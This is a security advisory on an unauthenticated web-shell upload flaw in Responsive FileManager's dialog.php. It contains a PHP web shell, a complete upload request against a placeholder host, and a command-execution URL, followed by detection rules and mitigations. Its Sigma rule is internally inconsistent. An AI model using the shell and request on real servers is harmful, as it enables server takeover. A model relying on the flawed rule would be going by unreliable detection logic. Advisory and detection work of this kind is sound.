CVE-2026-5482

Executive Summary

CVE-2026-5482 is a critical unauthenticated Remote Code Execution (RCE) vulnerability affecting Responsive FileManager versions up to and including 9.14.0. The flaw resides in the dialog.php endpoint, which fails to enforce any file type or extension restrictions during uploads, allowing a remote, unauthenticated attacker to upload a malicious web shell and execute arbitrary code on the underlying server. With a CVSS score of 9.3 (Critical) and the project officially unmaintained, the attack surface is broad — any publicly exposed instance of this file manager is at immediate risk. There are no workarounds provided by the vendor, and patch confidence is low (2/4) since the project is abandoned.

Technical Analysis

Responsive FileManager is a widely used open-source file management plugin for web applications, typically embedded via iframe or integrated into PHP-based CMSes. The vulnerable endpoint, dialog.php, is designed to handle file operations via AJAX requests, including uploads. The application is distributed with a filemanager/config/config.php file that contains user-customizable $upload_allowed_attr and $upload_allow_extension arrays. However, in the vulnerable versions, the file upload handler in dialog.php does not validate the extension parameter sent by the client.

The core mechanism is as follows:

1. Authentication Bypass: The dialog.php endpoint does not perform any session or permission checks by default. It relies on the embedding application to protect it, but if the file manager is directly accessible (e.g., /filemanager/dialog.php), it is fully exposed.

2. Missing Restriction Logic: In the upload flow, the code retrieves the file from $_FILES['fileToUpload']. It then constructs a destination path using a subfolder and the original filename. The intended security check would compare the file's extension against $upload_allowed_attr. In the vulnerable code path, this comparison is absent or flawed — the server does not inspect the type attribute sent in the POST request, nor does it validate the file content or extension server-side.

3. Path Traversal & Filename Handling: The filename is taken from the client-side name field and sanitized only through a weak filter that may allow .. sequences if the server configuration permits. This can lead to writing files outside the intended directory, but the primary attack vector is a direct web shell upload.

4. Execution: Once a file like shell.php is uploaded to the webroot (or a subdirectory), the attacker invokes it via an HTTP request. Because the file is served by the web server (Apache/Nginx) and PHP is enabled, the uploaded file executes with the privileges of the web server user.

Given that the project is unmaintained, no security patches are forthcoming. The vulnerability exists in the latest release (9.14.0), and there is a single source (OSV) claiming a patch exists, but this is not independently confirmed and may refer to an unofficial fork.

Exploitation Scenarios

The following attack chain demonstrates a realistic exploitation path for a public-facing instance of Responsive FileManager:

1. Reconnaissance (T1190): The attacker uses Shodan or Google dorks (inurl:/filemanager/dialog.php) to identify exposed instances. They confirm the application version by requesting /filemanager/version.txt or by inspecting publicly served source files.

2. Trigger / Weaponization: The attacker crafts a malicious PHP payload:

   <?php system($_GET['cmd']); ?>
   

   This is saved as shell.php.

3. Upload (POST request):

   POST /filemanager/dialog.php HTTP/1.1
   Host: victim.com
   Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXX
   
   ------WebKitFormBoundaryXXX
   Content-Disposition: form-data; name="fileToUpload"; filename="shell.php"
   Content-Type: image/png
   
   <?php system($_GET['cmd']); ?>
   ------WebKitFormBoundaryXXX
   Content-Disposition: form-data; name="subfolder"
   
   ------WebKitFormBoundaryXXX
   Content-Disposition: form-data; name="ext"
   
   php
   ------WebKitFormBoundaryXXX--
   

   If the endpoint uses a different parameter structure, the attacker will iterate. The absence of server-side validation means any extension is accepted.

4. Execution: The attacker requests http://victim.com/filemanager/shell.php?cmd=id — the server executes the id command and returns the output.

5. Post-Exploitation: The attacker escalates privileges by exploiting misconfigured sudo or SUID binaries, retrieves database credentials from config.php files, and pivots laterally across the network. The web shell can also be used to upload additional tools like reverse shells (e.g., a Python or Perl one-liner) to establish a stable foothold.

This attack does not require authentication, user interaction, or any special network access beyond the web port.

Impact Assessment

The CVSS v3.1 base score of 9.3 (Critical) reflects the worst-case scenario: unauthenticated remote exploitation with full Confidentiality, Integrity, and Availability impact.

• Confidentiality: Uploading a web shell gives the attacker read access to any file the web server user can read — including application source code, database configs, and sensitive user data.
• Integrity: Total compromise of the web root; attacker can modify pages, inject cryptocurrency miners, or deface the application.
• Availability: Attacker can delete files, crash the service, or use the compromised host as a pivot to launch DDoS attacks.
• Blast Radius: Any organization deploying Responsive FileManager in an internet-exposed environment. Due to its popularity as a component in various open-source CMS templates, the number of affected assets is considerable. The project's unmaintained status means a patched version may never be officially released, leaving affected assets permanently vulnerable.

Detection Guidance

Sigma Rule

title: Responsive FileManager Unauthenticated Upload Attempt
id: 9f6bd9e0-1a3b-4f5a-8e7d-1a2b3c4d5e6f
status: experimental
description: Detects POST requests to dialog.php with suspicious file extensions or web shell content patterns.
logsource:
  category: webserver
  product: apache
detection:
  selection:
    cs-method: POST
    cs-uri-query|contains: 'dialog.php'
  filter_known_good:
    cs-uri-query|contains:
      - 'fileToUpload='
      - 'subfolder='
  condition: selection and not filter_known_good
  keywords:
    - 'shell.php'
    - 'cmd='
    - '<?php system'
  condition: selection and keywords
level: critical
falsepositives:
  - Legitimate file uploads via the file manager UI
  - Internal administrative use (IP whitelisting recommended)

YARA Rule

rule Responsive_FileManager_WebShell
{
    meta:
        author = "Valtersit Threat Intel"
        description = "Detects typical webshell payloads uploaded via Responsive FileManager dialog.php"
        date = "2026-01-15"
        severity = "critical"
    strings:
        $php_system = "<?php system(" ascii
        $php_exec = "<?php exec(" ascii
        $php_pass = "<?php passthru(" ascii
        $php_shell = "<?php shell_exec(" ascii
        $cmd_param = "cmd=" ascii
        $eval_post = "eval($_POST" ascii
    condition:
        any of them
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-5482 Responsive FileManager webshell upload attempt"; flow:to_server,established; content:"POST"; http_method; content:"/dialog.php"; http_uri; content:"Content-Type|3a| image/png"; http_header; pcre:"/filename\s*=\s*[\x22\x27]?[^\x22\x27]*\.(php|phtml|php5|php7)/iU"; classtype:web-application-attack; sid:9001001; rev:1;)

Elastic Detection

sequence by source.ip, host.id with maxspan=5m
  [network where event.type == "start" and 
     destination.port == 80 and 
     process.name == "httpd"]
  [http where request.method == "POST" and 
     url.path == "/filemanager/dialog.php" and 
     request.headers.content-type contains "multipart/form-data"]
  [file where event.type == "creation" and 
     file.extension in ("php", "phtml", "php5") and 
     file.path contains "filemanager"]

Splunk SPL Query

index=web sourcetype=access_combined 
| where method="POST" AND uri_path="*/dialog.php" 
| rex field=uri "filename=\"(?<filename>[^\"]+)" 
| where lower(filename) LIKE "%.php%" OR lower(filename) LIKE "%.phtml%" 
| stats count by clientip, filename, status 
| where count > 1

Wazuh OSSEC Rule

<group name="web_attacks,">
  <rule id="100201" level="15">
    <if_sid>31100</if_sid>
    <match>dialog.php</match>
    <regex>filename=".*\.php"</regex>
    <description>Possible CVE-2026-5482 file upload attempt to Responsive FileManager</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>access_control,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED — single source claims patch (not independently confirmed))

Given the project's official unmaintained status, follow this layered approach:

1. Immediate Mitigations:

   • Remove or isolate: If the file manager is not essential, delete the /filemanager/ directory immediately.
   • Access Control: Place the endpoints behind VPN or IP allowlisting; require authentication at the web server level (e.g., HTTP Basic Auth) for any URL matching *dialog.php*.
   • Web Application Firewall (WAF): Deploy a WAF rule to block POST requests to dialog.php with file extensions php, phtml, php5, etc.

2. Patch/Upgrade Steps:

   • No official fix: Since the project is unmaintained, monitor OSV for a possible fork or private patch. Apply the claimed patch from the OSV source if it is a trusted third-party fork.
   • Migration: Replace Responsive FileManager with a maintained alternative (e.g., elFinder, CKEditor's file manager) that receives security patches.

3. Long-Term Hardening:

   • Server Configuration: Configure upload_tmp_dir and open_basedir to restrict PHP execution to trusted directories only. Disable PHP execution in the upload directory via .htaccess or Nginx config (location ~ \.php$ { deny all; }).
   • Audit: Conduct a forensic review of the web server logs to identify any pre-existing exploitation attempts.
   • Inventory: Maintain an inventory of all web components; flag any dependency with a "Critical" CVSS that is unmaintained for removal or replacement.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-5482
2. OSV Advisory: https://osv.dev/vulnerability/CVE-2026-5482 (patch claim source)
3. Project Repository (unmaintained): https://github.com/trippo/ResponsiveFilemanager
4. OWASP Unrestricted File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
5. CISA KEV: Not listed — this vulnerability is not currently in the Known Exploited Vulnerabilities catalog as of this report.

Threat Actor Campaigns: As of this writing, no specific threat actor group has been publicly attributed to exploiting CVE-2026-5482. However, given the CVSS 9.3 score and the ease of exploitation, it is highly likely to be incorporated into automated exploit kits (e.g., those targeting WordPress plugins that bundle Responsive FileManager) within weeks of public disclosure. The EPSS percentile (36.5%) suggests moderate imminent exploitation probability.